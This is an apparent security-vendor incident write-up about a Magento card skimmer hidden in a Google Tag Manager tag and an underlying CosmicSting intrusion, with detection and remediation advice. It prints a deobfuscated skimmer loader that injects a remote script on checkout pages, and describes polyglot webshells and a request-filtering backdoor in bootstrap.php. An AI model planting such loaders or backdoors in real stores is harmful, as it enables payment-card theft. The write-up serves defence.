← All articles

Incident response · 2026-07-05

The Card Skimmer Hiding in Google Tag Manager — and Why a Clean Scan Missed It

A store owner came to us with a puzzle: one malware scanner said their Magento store was compromised, but their own quick scan came back clean. Both were telling the truth. The card skimmer was real — it just wasn't anywhere the clean scan was looking. It was hiding inside Google Tag Manager, and it only woke up on the checkout page.

When we pulled the thread, the skimmer turned out to be the visible tip of a much deeper compromise: a full CosmicSting (CVE-2024-34102) remote-code-execution intrusion, dozens of staged RCE payloads, polyglot image webshells, and a backdoor planted in a core file that had survived a previous "cleanup." This is the anatomy of that attack — and the uncomfortable lesson it teaches about what a remote scan can and can't prove. Names and indicators are anonymised; the techniques are exactly as found.

Want to know where your store stands? Run a free MageArgus scan — it now fetches and inspects your loaded tag-manager containers, not just your homepage HTML.

By the numbers
  • The skimmer was in 0 of the store's filesit lived entirely in the Google Tag Manager container
  • It ran only on the checkout URLinvisible to a homepage-only scan
  • 109 + 7 RCE payloads on diskCosmicSting deserialization gadgets and polyglot webshells
  • 1 backdoor in a core file since Dec 2024it survived a prior cleanup and re-patch

1. The skimmer wasn't in the code — it was in the tag manager

The store loaded Google Tag Manager sitewide, which is completely normal. What wasn't normal was one "Custom HTML" tag inside that container. A Custom HTML tag lets you inject any JavaScript you like into every page — a legitimate feature that becomes a skimmer delivery system the moment an attacker gets into the GTM account.

The malicious tag was obfuscated so it wouldn't read as code at a glance. Stripped down, it did this:

// Rebuilds hidden strings from character codes, then:
if (location.href.indexOf('checkout') >= 0 ||
    location.href.indexOf('onepage') >= 0) {
    var s = document.createElement('script');
    s.src = 'https:///get/?s=' + btoa(btoa(location.host));
    document.head.appendChild(s);
}

Three details make this nasty:

2. Why a homepage scan called it clean

Most fast "is my site hacked?" checks fetch your homepage HTML and look for obvious injected script. Against this skimmer, that approach fails twice over:

This is the gap the competing scanner caught and the quick scan didn't: it had fetched and inspected the loaded scripts (including the tag-manager container), where the obfuscated code actually lived. The lesson isn't "one scanner is better" — it's that a skimmer verdict depends entirely on where the scanner looks. Homepage HTML is not enough.

We've since updated the MageArgus scanner to fetch and analyse the body of loaded tag-manager and analytics containers, decode their Custom HTML tags, and flag the obfuscation signatures above — so this class of attack is caught from the outside.

3. The clean-looking store was fully compromised

The skimmer was the part you could see. Underneath it, the server told a much worse story — a textbook CosmicSting intrusion on an end-of-life Magento 2.3.7:

Staged RCE payloads disguised as session files

Over a hundred files were sitting under pub/media with innocuous, session-like names and no file extension. Each was a serialized PHP object-injection gadget (a Guzzle FileCookieJar chain) designed to write a webshell to disk when deserialized — the classic CosmicSting second stage. Because they had no .php extension, they slipped past scanners that only inspect known code files.

Polyglot image webshells

A handful of .gif files under the custom-options upload path began with a valid GIF89a; header followed by <?php … base64_decode(…) — real-looking images that are also executable webshells, password-gated so only the attacker could trigger them.

A backdoor in a core bootstrap file

This was the re-entry mechanism, and it's why the store kept getting reinfected after previous cleanups. Prepended to app/bootstrap.php — a file that runs on every request — was a block that inspected the raw request body and blocked any Magento template-RCE (TrojanOrders) payload with a fake "503 Service Unavailable"… unless the request also contained a secret token. In other words, it locked out rival attackers while quietly whitelisting its own. A cleanup that only hunts for webshells and skimmers never opens bootstrap.php, so this backdoor persisted for months.

The entry point tied it all together: on this EOL store, CosmicSting (CVE-2024-34102) was unpatched. That XXE flaw let the attacker read app/etc/env.php and steal the store's encryption key — after which they could forge admin/API access at will and keep dropping payloads, patch or no patch, until the key was rotated.

4. The uncomfortable truth about "clean" scans

Here's what this incident makes concrete: a clean remote scan does not prove your store is clean. A scanner looking at your site from the outside genuinely cannot see:

What's hiddenWhy the outside can't confirm it
Checkout-gated skimmersOnly fire on the payment URL; a homepage scan never triggers them.
Tag-manager / third-party skimmersLive in an external container or account, not in your page source.
On-disk webshells & payloadsFiles under pub/media or core folders aren't reachable or visible over HTTP.
Backdoors in core filesServer-side code leaves no fingerprint a visitor can read.
Your actual patch levelMagento hides its version and never exposes patch level — and patches are often applied as file edits that don't even change the version string.

That last row matters more than it looks. When a scanner says a CVE like CosmicSting or SessionReaper is "possibly affected — can't confirm remotely," that's the honest answer, not a cop-out: there is nothing over HTTP that reliably distinguishes a patched store from an unpatched one. The only way to confirm is to read the files on the server. A remote scan is a fast, free smoke alarm — invaluable for catching what is visible — but "no smoke from the street" isn't a fire-safety certificate.

5. How to check your own store

Audit Google Tag Manager (and every third-party tag)

Open your GTM container and review every Custom HTML tag. Delete anything you don't recognise — especially obfuscated code that builds strings from character codes, references checkout/onepage, or injects a script. Then review container users, rotate the Google account credentials, and turn on 2FA. Remember: removing it from Magento does nothing; it lives in GTM.

Test the checkout page, not just the homepage

Skimmers hide where the cards are. Load your checkout in a fresh browser session with the network tab open and watch for scripts loading from unfamiliar domains. Better still, lock payment pages down with a strict Content-Security-Policy so unexpected hosts simply can't load.

Scan the server, not just the surface

Look for PHP under pub/media/pub/static (there should be none), extensionless or session-named files in the media tree, polyglot images (GIF89a followed by <?php), and any entry file — app/bootstrap.php, index.php, pub/index.php — that reads php://input. Legitimate entry files never do.

Patch — then rotate the key

If you're on an unpatched or EOL branch, that's the root cause. Patch or upgrade, then rotate the encryption key (bin/magento encryption:key:change or the admin Encryption Key screen) — because if the key leaked before you patched, the attacker keeps their access until you rotate it. Reset admin passwords and API tokens too.

The one-line takeaway

A skimmer scanner is only as good as the places it looks. If it reads your homepage and stops there, a checkout-gated, tag-manager-hosted skimmer will pass every time — and a clean result can hide a full server compromise. Scan the loaded scripts, scan the checkout, and confirm the server on disk.

Related reading

Scan your store free →